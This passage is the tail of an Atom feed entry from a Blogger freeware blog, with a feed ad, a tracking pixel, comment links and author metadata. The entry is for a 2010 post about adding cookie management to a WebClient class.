&lt;a href="http://feedads.g.doubleclick.net/~a/htR2MJHst9IbZKInnf_KdxiCyEI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/htR2MJHst9IbZKInnf_KdxiCyEI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hHAGT/~4/96_2exxFgPg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://freeware--software.blogspot.com/feeds/6658400563097290373/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://freeware--software.blogspot.com/2010/07/weclient-class-add-cookies-management.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/6658400563097290373?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/6658400563097290373?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/hHAGT/~3/96_2exxFgPg/weclient-class-add-cookies-management.html" title="WebClient class ,add cookies management" /><author><name>Gianmarco Castagna</name><uri>http://www.blogger.com/profile/02452503114306769644</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://freeware--software.blogspot.com/2010/07/weclient-class-add-cookies-management.html</feedburner:origLink></entry></feed>

